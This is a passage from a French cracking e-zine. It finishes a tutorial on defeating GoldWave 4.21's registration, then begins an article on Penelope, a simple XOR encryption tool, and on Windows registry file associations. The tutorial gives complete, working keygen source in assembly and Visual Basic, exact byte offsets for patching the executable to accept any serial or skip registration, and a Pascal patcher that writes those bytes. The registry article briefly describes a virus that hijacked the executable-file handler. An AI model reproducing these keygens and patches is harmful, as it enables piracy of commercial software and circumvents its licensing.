Notre prog est lancé ; on va dans option---> register : Là je rentre First name: EMPER0R
Last Name: C0RTEX et Password: 123456 ; je click sur ok et notre debuggeur break.




Maintenant je vais expliquer, en simplifiant, seulement les parties du code qui 
nous intéressent vraiment.



:00461B40 0FBE0A                  movsx ecx, byte ptr [edx] -->EDX pointe sur la dernière lettre 
                                                               de EMPER0R, le R ; on place son code
                                                               ascii dans ECX. ECX=52

:00461B43 03C8                    add ecx, eax		   -->Ajoute le nombre de lettre restant
                                                              à traiter avec la valeur ascii 
                                                              ECX=52+6=58    

:00461B45 03D9                    add ebx, ecx		    -->On sauvegarde ECX dans EBX

:00461B47 4A                      dec edx		    -->Décrémente le nombre de lettre.

:00461B48 8BC8                    mov ecx, eax		    -->Sert a tester si il reste des
:00461B4A 83C0FF                  add eax, FFFFFFFF         -->lettres a traiter.
:00461B4D 85C9                    test ecx, ecx             -->Si oui alors on revient en
:00461B4F 75EF                    jne 00461B40 		    -->461B40

Explication:
Additionne la valeur ascii de chaque caractères de First Name avec le nombre de lettre de cette 
chaîne restant a traité. A la fin de cette boucle quand on a traité toutes les lettres EBX=210

Même routine pour le Last Name que Pour le Firts Name:

:00461B72 0FBE0A                  movsx ecx, byte ptr [edx] 
:00461B75 03C8                    add ecx, eax
:00461B77 03F1                    add esi, ecx
:00461B79 4A                      dec edx
:00461B7A 8BC8                    mov ecx, eax
:00461B7C 83C0FF                  add eax, FFFFFFFF
:00461B7F 85C9                    test ecx, ecx
:00461B81 75EF                    jne 00461B72

Additionne la valeur ascii de chaque caractère de Last Name avec le nombre de lettre de  
cette chaîne restant a traité. A la fin de cette boucle quand on a traité toutes les 
lettres ESI=1C5


:00461B83 8B4508                  mov eax, dword ptr [ebp+08] --> Pointe sur EMPER0R

:00461B87 E804DB0600              call 004CF690		    -->Ce call est une fonctions permettant
                                                               de récupérer la longueur d'une chaine 
                                                               pointée par eax, le résultat est place dans eax

:00461B8C 8BF8                    mov edi, eax		    -->Le résultat dans EDI, EDI=7

:00461B8E 8B4508                  mov eax, dword ptr [ebp+08] -->Pointe sur C0RTEX
:00461B91 83C019                  add eax, 00000019	      -->	

:00461B96 E8F5DA0600              call 004CF690		    -->Récupère la longueur de la chaîne et 
                                                               la place dans EAX, EAX=6

:00461B9B 03F8                    add edi, eax		    -->Ajoute les longues des chaines, EDI=6+7=D

:00461B9E 8BC7                    mov eax, edi		    -->Place EDI dans EDX
:00461BA0 8BD0                    mov edx, eax		    -->

:00461BA5 C1E204                  shl edx, 04               -->Déplace la valeur de EDX de 4 bits 
                                                               vers la gauche, EDX=D0

:00461BA8 8D1452                  lea edx, dword ptr [edx+2*edx]	-->EDX = EDX+2*EDX
:00461BAB 8D1492                  lea edx, dword ptr [edx+4*edx]	-->EDX = EDX+4*EDX
:00461BAE 8D1492                  lea edx, dword ptr [edx+4*edx]	-->EDX = EDX+4*EDX
:00461BB1 8D1492                  lea edx, dword ptr [edx+4*edx]	-->EDX = EDX+4*EDX

Maintenant EDX = 130B0

:00461BB4 03DA                    add ebx, edx 		    -->Ajoute EBX(210 nombre trouvé plus 
                                                               haut lors de la 1ere boucle) à EDX, 
                                                               EBX=210+130B0=132C0

:00461BB9 8BCB                    mov ecx, ebx		    -->Place EBX dans ECX
:00461BBB C1E104                  shl ecx, 04               -->Déplace la valeur de ECX de 4 bits 
                                                               vers la gauche, EDX=132C00

:00461BBE 8D0C49                  lea ecx, dword ptr [ecx+2*ecx]	-->ECX = ECX+2*ECX
:00461BC1 8D0C89                  lea ecx, dword ptr [ecx+4*ecx]	-->ECX = ECX+4*ECX
:00461BC4 8D0C89                  lea ecx, dword ptr [ecx+4*ecx]	-->ECX = ECX+4*ECX
:00461BC7 8D0C89                  lea ecx, dword ptr [ecx+4*ecx]	-->ECX = ECX+4*ECX

Maintenant ecx = 1C157400

:00461BCA 03F1                    add esi, ecx              -->Ajoute ESI(1C5 nombre trouvé plus haut 
                                                               lors de la 2eme boucle) a ECX, 
                                                               ESI=1C5+1C157400=1C1575C5

:00461BCC 8BDE                    mov ebx, esi		    -->Met ESI dans EBX

:00461BCE 8D741032                lea esi, dword ptr [eax+edx+32]	-->Initialise esi qui 
                                             va pointer sur le sérial


boucle de_division:

:00461BD6 8BC3                    mov eax, ebx		    -->Met EBX dans EAX, intialisation pour la division
:00461BD8 33D2                    xor edx, edx              -->Met EDX a 0
:00461BDA B91A000000              mov ecx, 0000001A	    -->Met 1A dans ecx
:00461BDF F7F1                    div ecx		    -->Divise EAX par ECX le quotient est EAX et le reste dans EDX
:00461BE1 80C241                  add dl, 41		    -->On ajoute au reste 41 (41 est le code ascii de A)
:00461BE4 8BC3                    mov eax, ebx		    -->Replace EBX dans EAX
:00461BE6 8816                    mov byte ptr [esi], dl    -->Esi pointe vers le premier caractères	
:00461BE8 33D2                    xor edx, edx		    -->Remet EDX a 0	
:00461BEA B91A000000              mov ecx, 0000001A	    -->1A dans ECX	
:00461BEF 46                      inc esi		    -->Incrémente l'adresse ou ce trouve le sérial
:00461BF0 F7F1                    div ecx		    -->Divise EAX par ECX
:00461BF5 89C3                    mov ebx, eax		    -->Place le quotient dans EBX
:00461BF7 85DB                    test ebx, ebx             -->Teste si ebx different de 0
:00461BF9 75DB                    jne 00461BD6              -->Si oui alors saute en 461BD6



A la sorti de cette boucle ESI pointe sur PTMBRNB, qui est mon code d'enregistrement.
Voilà maintenant j'ai absolument tout pour faire mon keygen, je vais essayer de récapituler 
l'algorithme:

1- Additionne la valeur ascii de chaque caractère de First Name avec le nombre de 
   lettre de cette chaine restant a traité, on appellera cette valeur A

2- Additionne la valeur ascii de chaque caractère de Last Name avec le nombre de *
   lettre de cette chaine qui reste a traité, on appellera cette valeur B

3- Additionne la valeur des longueurs de chaine de First&Last name, 
   on appellera cette valeur C.

4- C est déplacée vers la gauche de un octet, c = c & "0"

5- C=C+2*C puis C=C+4*C, C=C+4*C, C=C+4*C

6- C=C+A

7- C est déplace vers la gauche de un octet, c = c & "0"

8- C=C+2*C puis C=C+4*C, C=C+4*C, C=C+4*C

9- C=C+B

10- Divise C par 1Ah et ajoute 41h au résultat, ce résultat est le code ascii de 
    la premiere lettre du serial. Le quotient de cette division est place dans C 
    et on recommence cette étape dans c, tant que c est diffèrent de 0




Code source d'un keygen en asm, pour des raisons de comprension j'ai gardé exactement 
les même routines utilisées par le programme au lieu d'en optimiser certaines. 
Les valeurs sont aussi contenu dans les même registres. 


;---------------------initialisation de la boite
.386p
Locals
jumps
include w32.inc
.Model Flat ,StdCall

hWnd           	equ 0
IDD_WINDOW     	equ 100			;ID de la boite
firstname	equ 101			;ID du champ Firtsname
lastname	equ 102			;ID du champ Lastname
serial         	equ 103			;ID du champ ou on affichera le serial

.data
myname         	dd 10 dup (?)
myname1		db 10 dup (?)
resulta		db 20 dup (?)
hInst         	dd ?
message        	db 'Enter name!',0
titl        	db 'KeyGen Goldwave 4.2x',0
len1		dd ?
len2		dd ?


.Code
Main:
        push   NULL
        call   GetModuleHandle
        mov    hInst, eax
        push   NULL
        push   offset DlgProc
        push   NULL
        push   IDD_WINDOW
        push   hInst
        call   DialogBoxParamA
        push   NULL
        call   ExitProcess
DlgProc proc uses ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD, lparam: DWORD
       
        cmp    wmsg, WM_CLOSE
        je     wmdestroy
        cmp    wmsg, WM_COMMAND
        je     wmcommand
        xor    eax, eax
        ret

wmdestroy:
        push   NULL
        call   PostQuitMessage
        ret
wmcommand:
        cmp    wparam, 100
        je     wmdestroy
        cmp    wparam, 105
        je     debut
        cmp    wparam, 106
        je     wmdestroy
        ret




;----------------------------------------- début de la génération du serial
debut:
        push   	255
        push   	offset myname
        push   	firstname
        push   	hwnd
        call   	GetDlgItemTextA			;Récupère la chaine First name
        mov 	len1, eax				;Longueur de la chaine dans EAX
	lea    	edx, myname			;EDX pointe sur La chaine First Name
        cmp    	eax, 00				;Teste si la chaine n'est pas nulle
        je    	pusto				;Si on affiche une msgbox pour avertir l'utilisateur
	
	xor	ecx, ecx			;initialise les registres
	xor	ebx, ebx			;
	dec	eax				;decrémente le nombre de lettre de la chaine

boucle1:
	movsx 	ecx, byte ptr [edx]             ;valeur ascii du premier char dans ecx
	add 	ecx, eax			;ajoute cette valeur a ecx
	add	ebx, ecx			;sauve la valeur de ecx dans ebx

	inc 	edx				;incrémentation du charactère de la chaine
	mov	ecx, eax 			;sauve eax dans ecx
	add	eax, 0FFFFFFFFh			;équivalent a dec eax, décrémente le nombre 
                                                ;   de charactères a traiter 
	test    ecx, ecx			;teste si il reste d caratères a traiter
	jne 	boucle1				;si oui saute, sinon le résulta final se trouve dans ebx

	push 	ebx
	push   	255
        push   	offset myname1
        push   	lastname
        push   	hwnd
        call   	GetDlgItemTextA			;Récupère la chaine Last name
        mov 	len2, eax				;longueur de chaine dans eax
	lea    	edx, myname1			;EDX pointe sur La chaine Last Name
        cmp    	eax, 00				;Teste si la chaine n'est pas nulle
        je    	pusto				;Si on affiche une msgbox pour avertir l'utilisateur



	xor	ecx, ecx			;Initialise les registres
	xor	esi, esi			;
	dec	eax				; décrémente le nombre de lettre de la chaîne
	
boucle2:   					;pareil que boucle1 mais les donné le résultat est dans esi
	movsx 	ecx, byte ptr [edx]
	add 	ecx, eax
	add	esi, ecx	

	inc 	edx
	mov	ecx, eax 
	add	eax, 0FFFFFFFFh
	test    ecx, ecx
	jne 	boucle2

	pop 	ebx				;résultat boucle1 		
	mov 	edi, len2			;longueur chaine1
	mov 	eax, len1			;longeur chaine1
	add 	edi, eax			;ajoute resultat boucle1 a longueur chaine2
	mov 	eax, edi			;sauvegarde le résulta de l'opération précédente dans eax
	mov 	edx, eax			;place cette valeur dans edx
	shl 	edx, 04				;décale la valeur de 4 bits vers la gauche

	lea 	edx, dword ptr [edx+2*edx]	;quelques opérations sur edx
	lea 	edx, dword ptr [edx+4*edx]	;
	lea 	edx, dword ptr [edx+4*edx]	;
	lea 	edx, dword ptr [edx+4*edx]	;

	add 	ebx, edx			;résulta des opérations précédente + longueur chaine1
	mov 	ecx, ebx			;sauvegarde dans ecx
	shl 	ecx, 04 			;décale la valeur de ecx de 4 bits vers la gauche
	
	lea 	ecx, dword ptr [ecx+2*ecx]	;quelques opérations sur ecx
	lea 	ecx, dword ptr [ecx+4*ecx]	;	
	lea 	ecx, dword ptr [ecx+4*ecx]	;
	lea 	ecx, dword ptr [ecx+4*ecx]	;

	add 	esi, ecx			;résultat des opérations précédentes + résultat boucle2
	mov	ebx, esi			;sauvegarde dans ebx
        mov 	esi, offset resulta		;initialise esi
	
boucle3:	
	mov 	eax, ebx			;met ebx dans ecx
	xor 	edx, edx			;initialise edx a 0 pour la division
	mov 	ecx, 0000001Ah			;place 1a dans ecx, dénominateur
	div 	ecx				;eax modulo ecx
	add 	dl, 41h				;ajoute 41h au reste de la div, 41h='A'
	mov 	eax, ebx			;replace ebx dans eax
        mov 	byte ptr [esi], dl		;esi pointe vers le premier caractère du sérial
        	
	xor 	edx, edx			;initialise edx a 0 pour la division
        mov 	ecx, 0000001Ah			;place 1a dans ecx, dénominateur
        inc	esi				;incrémente l'adresse ou ce trouve le serial
        div 	ecx				;eax modulo ecx
        mov 	ebx, eax			;le quotient dans ebx
	test 	ebx, ebx			;teste si quotient est diffèrent de 0
	jne	boucle3
	
;----------------------affichage du résultat

        push   offset resulta
        push   serial
        push   hwnd
        call   SetDlgItemTextA
        ret
;----------------------msgbox 


pusto:  push   20h
        push   offset titl
        push   offset message
        push   hWnd
        call   MessageBoxA
        ret
DlgProc endp
End Main





---------------------------------------------------------------------------------------



Voilà c'est tout commenté, le code ce comprend sans difficulté je pense.
Pour ceux qui on un peu de mal avec l'asm, le keygen peut ce faire aussi facilement en VB:



Dim a As String, i As Byte, j As Byte, b As Variant, c As Variant, d As Variant, e As Variant, 
                                                                     h As Byte, f As String, k As String


Private Sub Command1_Click()

Text1.Text = UCase(Text1.Text)
Text2.Text = UCase(Text2.Text)

If Text1.Text = "" Or Text2.Text = "" Then
    MsgBox "Vous devez remplir les deux champs", vbCritical, "--==GoldWave Keygen==--": Exit Sub

End If
b = 0
For i = 1 To Len(Text1.Text)
a = Mid(Text1.Text, i, 1)
b = b + Asc(a) + (Len(Text1.Text) - i)
Next
c = 0
For j = 1 To Len(Text2.Text)
a = Mid(Text2.Text, j, 1)
c = c + Asc(a) + (Len(Text2.Text) - j)

Next

d = Hex(Len(Text1.Text) + Len(Text2.Text)) & "0"
myhex$ = d
mydec& = Val("&H" & myhex$)
d = mydec

d = d + 2 * d
d = d + 4 * d
d = d + 4 * d
d = d + 4 * d



e = Hex(b + d) & "0"
myhex$ = e
mydec& = Val("&H" & myhex$)
e = mydec

e = e + 2 * e
e = e + 4 * e
e = e + 4 * e
e = e + 4 * e

f = c + e
k = ""
Do While f <> 0
h = (f Mod 26) + 65
f = Int(f / 26)
k = k & Chr(h)
Loop
Text3.Text = k

End Sub

-------------------------------------------------------------------------------------------


Pas besoin de beaucoup d'explication c'est simple (meme si j'ai codé ca comme un porc, avec des 
noms de variables discutables :-) ). J'ai pas optimiser a fond car après ca donne des lignes du style:
a = Asc(Mid(Text2.Text, j, 1) + (Len(Text2.Text) - j)) c'est sur c plus impressionnant :) mais ce 
tuto s'adresse aux débutant. Text1 c'est la ou on entre le First Name et Text2 le Last Name, le serial 
apparaitra dans Text3.

Sinon il faut remplir les 2 champs et les lettres du first & last name doivent être converti 
en majuscule--> Text1.Text = UCase(Text1.Text) pareil pour text2
Le reste c'est l'application simple de l'algo plus quelques petites astuces pour la conversion de 
nombres hexa en décimal et inversement.





   
                      ++++ | Partie IV: Le Patch | ++++






     A. Faire accepter tous les serials :
     ___________________________________


Nous avons vu au début de ce tuto que si a la sorti du call 00461C14, AL était égal a 00 alors notre 
code n'est pas valide, si on inverse le saut sa sert a rien car une routine au lancement du logiciel 
teste le serial enregistré dans un fichier .ini. 
Alors, je vais chercher dans le call l'endroit ou AL est mit a 00 :

Quand on entre dans le call 461C14 on voit

* Referenced by a CALL at Addresses:
|:00461A64   , :004623F7   , :004624A3  

Le programme doit certainement ce servir aussi de cette routine pour verifier le serial enregistré 
dans le fichier .ini. Pour en etre sur on pose un breakpoint sur chaqune des 3 adresses qui appele 
ce call, on lance le prog et.... bingo sa break direct.

Je rerentre dans le call et je trace comme un fous car ca ce passe a la fin forcement, apres la 
generation du serial.

Voila tout ce passe là:


:00461C4E 85C0                    test eax, eax
:00461C50 7504                    jne 00461C56
:00461C52 33C0                    xor eax, eax
:00461C54 EB27                    jmp 00461C7D

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00461C50(C)
|
:00461C56 8D45E4                  lea eax, dword ptr [ebp-1C]
:00461C59 8BD6                    mov edx, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00461C75(C)
|
:00461C5B 8A08                    mov cl, byte ptr [eax]
:00461C5D 3A0A                    cmp cl, byte ptr [edx]
:00461C5F 7516                    jne 00461C77
:00461C61 84C9                    test cl, cl
:00461C63 7412                    je 00461C77
:00461C65 8A4801                  mov cl, byte ptr [eax+01]
:00461C68 3A4A01                  cmp cl, byte ptr [edx+01]
:00461C6B 750A                    jne 00461C77
:00461C6D 83C002                  add eax, 00000002
:00461C70 83C202                  add edx, 00000002
:00461C73 84C9                    test cl, cl
:00461C75 75E4                    jne 00461C5B

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:00461C5F(C), :00461C63(C), :00461C6B(C)
|
:00461C77 0F94C0                  sete al
:00461C7A 83E001                  and eax, 00000001

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00461C54(U)
|
:00461C7D 5F                      pop edi
:00461C7E 5E                      pop esi
:00461C7F 5B                      pop ebx
:00461C80 8BE5                    mov esp, ebp
:00461C82 5D                      pop ebp
:00461C83 C3                      ret


[ Explications ]

Normalement quand jarrive en 461C4E, AL est egal a 01, dans le cas ou mon serial est bidon 
ou meme si il est valide (je n'est pas regardé dans quel cas al peut valoir 00 ici).
Al est egal a 01 et le saut en 461C50 ce fait. A la ligne 461C5D et 461C68 on compare 
letre par letre le serial généré par le prog et le serial que l'on a entré. 
En 461C75 le saut permet de faire une boucle pour tester tout les caractères. 

Si un caractères est incorect au saute direct en 461C77
SETE: initialisation à 1 si CF=0 et ZF=1, dans ce cas CF et ZF=0 alors al ne pourra
pas etre initialisé a 01.

Si notre serial est corect (cartères identiques au sérial généré) alors CF=0 et ZF=0,
donc al est initialisé a 01 grace a SETE.

Voila on peut patcher sa de multiple facon, la facon la plus simple est la plus logique 
serait de remplacer le SETE par SETA
(SETA: initialisation à 1 si CF et ZF sont à 0)
Le problème c'est que le programme apres compare notre serial avec son serial généré, 
donc si la première fois le SETA nous met bien AL a 01, il nous le met a 00 lors du 
deuxième test. 

La deuxieme facon qui est a mon avis la plus simple et la plus logique est de remplacer 
le jne 00461C56 a la ligne 461C50, par un jmp 00461C7D. Cette solution modifie que 2 octets 
je pense que c'est la plus simple. Le 7504, a la ligne 00461C50 offset 61250, devient EB2B
On fait les modif, on efface les infos que contienne First Last & Password, 
dans c:\windows\goldwave.ini si il y en a, puis on entre n'importe quel: First name, 
Last name et password et sa marche, on relance le prog et c'est bon on est register.
Cette modif permet de faire accepter nimporte quel sérial.







	
	B. Enregistrer le prog sans entrer de serial :
        ______________________________________________


On efface les infos que contienne First Last & Password, dans c:\windows\goldwave.ini 
si il y en a, pour etre sur que notre technique marche.

Le prog voit si on est register ou si le code est correct quand a la sortie du call 00461C14 
il voit AL=01. Alors on entre dans ce call et on modifi les 3 premiers octets du call par:

Mov AL,01
RET

C'est extrement bourrin mais aussi extrement efficasse :)

/!\Attention quand meme avec cette technique de bourrin elle peut poser des problèmes sur 
certain prog, le call peut etre nesséssaire pour d'autre chose dans certaint cas.

Le prog rentre dans le call, on met 01 dans AL et le RET le fait sortir de suite :)
On modifie a l'offset 61214: 558BEC par B001C3

 
Code de ce patch en pascal, merci la shmeitcorp(RIP) pour cette source:


Program crackpatch;                  
Uses Crt;                            

Const A: Array[1..3] of Record       	;3=nombre d'octet a modifier


A : Longint;  
B : Byte;     
End =         
(             

(A:$61214;B:$B0), 			;offset et valeur  
(A:$61215;B:$01),   			;a remplacer pour
(A:$61216;B:$C3)			;chaque octet

);                         
Var                        
  Ch:Char;                 
    I:Byte;               
    F:File;                
    FN:file of byte;       
    Size:longint;          
Procedure Presentation;    
Begin                      
  Gotoxy(2,3);            

Textcolor(3); 

  Writeln('');
  Writeln('cRACk f0R     : Goldwave 4.21');
  Writeln('cRACK3D bY    : Emper0r');
  Writeln('');
  Writeln('');
  Writeln('gR33TiNG      : Dr. Raoul Duke et Maitre GonZo !');
Writeln ('');
Writeln (''); 

end;                       
Begin                      
 Presentation;             
 
Assign(F,'GOLDWAVE.EXE');   		;nom du prog a patcher

{$I-} Reset(F,1); {$I+}             
 If IOResult <> 0 then              
   begin                            

      writeln('fILE n0T f0UnD!');  

       halt(0);             
    end;                   


 For I:=1 to 3 do         
                         
 Begin                      
  Seek(F,A[I].A);          
  Ch:=Char(A[I].B);        
  Blockwrite(F,Ch,1);      
 End;                      


 Writeln('cRACk SuCc3sSfUL !!!!'); 

End.     
   







[ Conclusion ]


Ca y est mon tuto est fini merci a ceux qui on lut jusqua la fin ;) j'espère que que 
ce tuto aura appris quelque chose à quelqu'un. A oui et aussi pardon pour les 351 
fautes d'orthographes qu'il contient :)

                                                           Emper0r



-Remerciements en vrac a: MrPhillex, Christal, Slash, eldre8, Fistfucker, yopjen, 
 Morgatte, spud, TipaX, SNY, R!SC, TaMaMBoLo, [k], YoLeJedi, Neo Fox, Lex Icon, 
 DarK_DreaM, Seiferis, Slider, The Analyst, la team 29A, la shmeitcorp, millarness, 
 Factitius, Dr. Raoul Duke & Maitre GonZo.

-Mais aussi: tous mes potes, tous ceux que je ne peut malheuresment pas citer pour 
 certaines raisons qui font que ...., tout ceux qui font un petit qq chose pour
 'l'underground', tous ceux que j'ai oublié.


-Big Fuck : A ceux qui critiquent au lieu de partager, a tout les lamerz qui polluent
 le net et ne font que des conneries (ex: ceux qui utilisent d generateurs de worms sans 
 comprendre et les lachent dans la nature, voir VBS.annaKournicova).
































-------------------------------------------------------------------------------------------
III.                      Crypto : Penelope                              par Androgyne 
-------------------------------------------------------------------------------------------

                  ++++++++++++++++++++++++++++++++++++
                  +++ Fichier Joint : penelope.zip +++
                  ++++++++++++++++++++++++++++++++++++


[ Sommaire ]

Introduction
Généralités - FAQ
    Comment ça marche ?
    Pourquoi l'avoir fait ?
    Pourquoi ce nom ?
    Quel est le cryptage utilisé ?
La base de registre
    Hiérarchie
    HKEY_LOCAL_MACHINE\Software
    Application
Les autres points de Penelope
    Boîtes de dialogue
    Le générateur de nombre pseudo-aléatoire
    Le file mapping
Comment avoir de l'ordre en asm...
Conclusion


[ Introduction ]

    Penelope est un programme de cryptage... Mais ce n'est pas la fonction de
cryptage qui est intéressante ici, j'ai utilisé un simple cryptage xor sur 32
bits. Ce qui va faire l'objet de cette article, c'est toutes les choses que
j'ai apprises en programmant Penelope. C'est un article un peu fourre tout
mais il est fondamentalement lié à Penelope.





[ Généralités - FAQ ]

*** Comment ça marche ? ***

    J'ai essayé de faire une interface la plus simple possible. Je crois
qu'on ne peut pas faire moins... L'interface se présente avec une boîte de
dialogue. Là, vous pouvez entrer le nom du fichier que vous voulez crypter
(il doit être dans le même répertoire que Penelope), et vous appuyez sur
'Cipher'. Penelope génère alors un fichier ayant pour nom
nomentierdufichier.xor, qui est la forme cryptée. Pour décrypter le fichier,
on fait la même chose en appuyant sur 'Decipher'. Si le nom du fichier
termine par .xor, Penelope va générer le nouveau fichier en enlevant
l'extension xor, sinon, une boîte de dialogue apparaît pour vous demander le
nom du fichier une fois décrypté. Il y a quelques petits plus amusants : vous
pouvez associer l'extension xor avec Penelope (dans 'Options'), et alors, dès
que vous cliquez sur un fichier ayant l'extension xor, Penelope est lancée
automatiquement et initialise le nom du fichier. Vous pouvez également faire
un fichier de configuration qui enregistrera des données très précieuses
(voir plus loin)...


*** Pourquoi l'avoir fait ? ***

    J'en sais rien... Pour m'amuser. Certains vont dire "Pourquoi se faire
chier à le faire en asm alors qu'il serait plus facile de le faire en C++ ou
en Delphi ?"... Oui, c'est vrai mais je préfère l'asm et c'est mon choix
<insérer ici la musique de "C'est mon choix">. Tout met plus de temps à faire
en asm mais je trouve ça tellement plus excitant...


*** Pourquoi ce nom ? ***

    Pourquoi pas ce nom... Je trouve que donner des prénoms aux programmes
les rend un peu plus vivants. Alors, cette fois, c'est Penelope, une autre
fois, ce sera un autre prénom :) Si vous avez des préférences, écrivez moi
(prénom féminin uniquement).


*** Quel est le cryptage utilisé ? ***

    C'est un simple cryptage xor (agrémenté de quelques autres instructions
du style rol/ror) avec plusieurs clés, toutes 32 bits. Ce n'est pas très
secure mais ce n'est pas le but (un jour si j'ai le temps, j'implémenterai
un codage RSA). En fait, il y a trois clés : la clé du programme, c'est une
clé fixe dans le programme ; la clé de l'utilisateur, elle est tirée au
hasard à la première utilisation de Penelope ; la clé du fichier, elle est
tirée au hasard pour chaque fichier. Comment ces clés sont-elles utilisées ?
L'idée, c'est qu'on ne va pas mettre la clé du fichier directement avec le
fichier donc, on la crypte avec la clé de l'utilisateur et on la met avec le
fichier... Voilà pourquoi la clé de l'utilisateur est choisie une fois pour
toute au début. Et voilà à quoi sert le fichier de configuration... Elle sert
à stocker la clé de l'utilisateur. Mais là encore, on ne la stocke pas telle
quel, on la crypte avec la clé du programme qui elle est fixe... Vous me
direz "Si on connait la clé du programme, on peut avoir la clé de
l'utilisateur et alors, on décrypte tous les fichiers...". Bien sûr mais vous
ai-je dit que ce programme n'était pas très puissant pour le cryptage ?



[ La base de registre ]

    J'ai abondamment utilisé la base de registre dans ce programme, ce qui
m'a permis d'en apprendre un peu plus sur cet élément Windowsien un peu
obscur pour le commun des utilisateurs moyens... Un peu d'histoire tout
d'abord : au début, à l'ère préhistorique du DOS, pour pouvoir garder des
configurations d'utilisateurs, on avait des fichiers de configuration (les
fichiers INI). Remarquez que ces fichiers existent toujours et que l'on peut
toujours s'en servir (voir article sur les INI dans hccc#6
[http://www.multimania.com/hccc]). Mais l'arrivée de Windows 3.1 a marqué
l'arrivée de la base de registre (registry en anglais) pour remplacer les
fichiers INI. Au départ, on ne pouvait pas stocker beaucoup de choses dans le
registre, uniquement des chaînes de caractères, c'était un peu la misère...
Puis avec les Win9x, on a pu faire plus de choses avec le registre et son
utilisation s'est généralisée. La documentation de Windows incite d'ailleurs
à abandonner l'utilisation des INI pour lui préférer celle du registre.


*** Hiérarchie ***

    Le registre marche avec un système de clé et une hiérarchie en
répertoire... Vous pouvez avoir un aperçu de cette hiérarchie en tapant
regedit dans 'Executer...'. regedit est l'éditeur de registre, vous pouvez
modifier le registre directement à partir de là. Mais attention !!! Des
modifications à tout va peuvent causer des dommages irréversibles sur ce
pauvre Windows qui a déjà bien du mal à fonctionner tout seul :) .
    Dans cette hiérarchie, il y a principalement 4 clés à la racine :
    - HKEY_CLASS_ROOT : c'est un raccourci pour la clé
      HKEY_LOCAL_MACHINE\Software\Classes, on va y revenir longuement dans la
      suite...
    - HKEY_CURRENT_USER : c'est un raccourci pour HKEY_USERS\<utilisateur>...
    - HKEY_LOCAL_MACHINE : cette clé contient pleins d'informations sur la
      machine sur laquelle est installé Windows. On va s'intéresser plus
      précisément à la sous clé Software dans la suite...
    - HKEY_USERS : c'est la clé où sont stocké les configurations de tous les
      utilisateurs de la machine.
    Ces 4 clés sont ouvertes en permanence. On peut donc y accéder quand on
veut. Pour pouvoir accéder à des sous clés, il faut ouvrir ces sous clés
(fonction RegOpenKey). Chaque clé peut contenir elle même une valeur (appelée
default dans regedit) ou contenir des autres valeurs associées à des noms
plus précis.

    Je me suis particulièrement intéressée à la sous clé Software de
HKEY_LOCAL_MACHINE...


*** HKEY_LOCAL_MACHINE\Software ***

    Là, on a deux types de sous clés. Tout d'abord, il y a les sous clés créé
par la plupart des logiciels installés sur votre PC. Généralement, la sous
clé contient le nom de la société qui produit le logiciel (Exemples : Adobe,
Netscape, Microsoft, Logitech...), et cette sous clé contient des sous clés
avec le nom des logiciels de cette société (Exemple pour Adobe : Acrobat
Reader, Photoshop). C'est ici que sont stockés les numéros de version, la
configuration, etc... des logiciels de votre PC. Vous pouvez fouillez un peu
la dedans, c'est parfois très instructif :)
    Le deuxième type de clé est la clé Classes. On peut y accéder directement
dès la racine par HKEY_CLASS_ROOT. Ici sont définis les types et classes de
documents existant sur votre PC. Là encore, il y a deux types de sous clé :
    - les clés extensions : elles se trouvent toutes au début et ont la forme
      '.ext'. Ces clés définissent à quelle classe appartiennent les fichiers
      portant l'extension 'ext' (Exemple : '.zip' appartient à la classe
      Winzip, '.txt' à la classe txtfile)
    - les clés classes : Ces clés servent à définir les fichiers de cette
      classe. La valeur de ces clés est une description du type du fichier
      (Exemple pour txtfile : 'Document texte'), c'est l'information qu'on
      peut voir en faisant 'Propriétés' en face de type. Chaque clé classe
      contient généralement une sous clé 'Shell' qui donne des informations
      sur l'application qui interprète les fichiers de cette classe ; 'Shell'
      contient généralement deux sous clés 'open' et 'print' qui ont la même
      structure, une sous clé 'command' qui a pour valeur la ligne de
      commande à envoyer quand on clique sur ce type de fichier (%1 remplace
      comme en batch le premier argument, c'est à dire ici le fichier sur
      lequel on a cliqué). Exemple : "C:\WINDOWS\NOTEPAD.EXE %1". La clé
      classe à parfois une sous clé 'DefaultIcon' qui contient un chemin
      jusqu'à l'icône utilisée pour ce type de document.

    Donc, résumons :

HKEY_LOCAL_MACHINE\Software
  + CompanyName1
  |   + ProductName1
  |   + ProductName2
  + CompanyName2
  |   + ProductName1
  + RtC
  |   + Penelope
  |   |   [Owner Key] -> xxxxxxxx
  |   .   [Rand Seed 1] -> xxxxxxxx
  .       [Rand Seed 2] -> xxxxxxxx
  .
  |
  + Classes
  |  + .txt -> txtfile
  |  + .xor -> xorfile
  |  +
  |  .
  |  .
  |  + txtfile -> "Document Texte"
  |  |  + shell
  |  |  |  + open
  |  |  |  |  + command -> "C:\WINDOWS\NOTEPAD.EXE %1"
  |  |  |  + print
  |  |  |     + command -> "C:\LINUX\NOTEPAD.EXE /p %1"
  |  |  + DefaultIcon -> "......"
  |  + xorfile -> "Fichier XOR"
  |  |  + shell
  |  |  |  + open
  |  |  |     + command -> "....\penelope.exe %1"
  |  |  + DefaultIcon -> "....\penelope.exe,1"
  .  .

etc...

    Je n'ai pas mis .xor et xorfile par hasard car c'est de cette façon que
je déclare Penelope en tant qu'interpréteur de fichiers xor. J'en profite
pour déclarer l'icône associée au type de fichier xor (vous avez vu, je me
suis éclatée sur les icônes). J'ajoute également la valeur AlwaysShowExt dans
la clé xorfile pour toujours voir l'extension même quand on a coché l'option
'Cacher les extensions des fichiers dont le type est connu', ce qui a valu à
un célèbre ver de se propager avec amour sur les 3/4 de la planète :)


*** Application ***

    Pour manipuler des clés et des sous clés dans le registre, on utilise des
fonctions de l'API Windows. Toutes ces fonctions commencent par Reg. Allez
voir dans les sources de Penelope pour voir plus précisément un exemple
d'application. Les descriptions de ces fonctions sont dans tous les win32.hlp
qui se respectent. Vous pourrez y trouver aussi des informations
complémentaires sur le registre.
    On m'a également parlé, il y a peu, d'un virus très astucieux qui
utilisait le registre. Il se copiait dans le répertoire Recycled (c'est la
corbeille) et se déclarait en tant qu'interpréteur de fichiers exécutables...
Conséquence : si on l'efface, impossible d'exécuter quoi que ce soit. Il en
profitait pour infecter tous les exécutables sans aucun effort de
recherche...
    Conclusion : Le registre de Windows est une idée qui pour une fois n'est
pas dénuée de bon sens. Mais le registre est à mon avis un point faible de
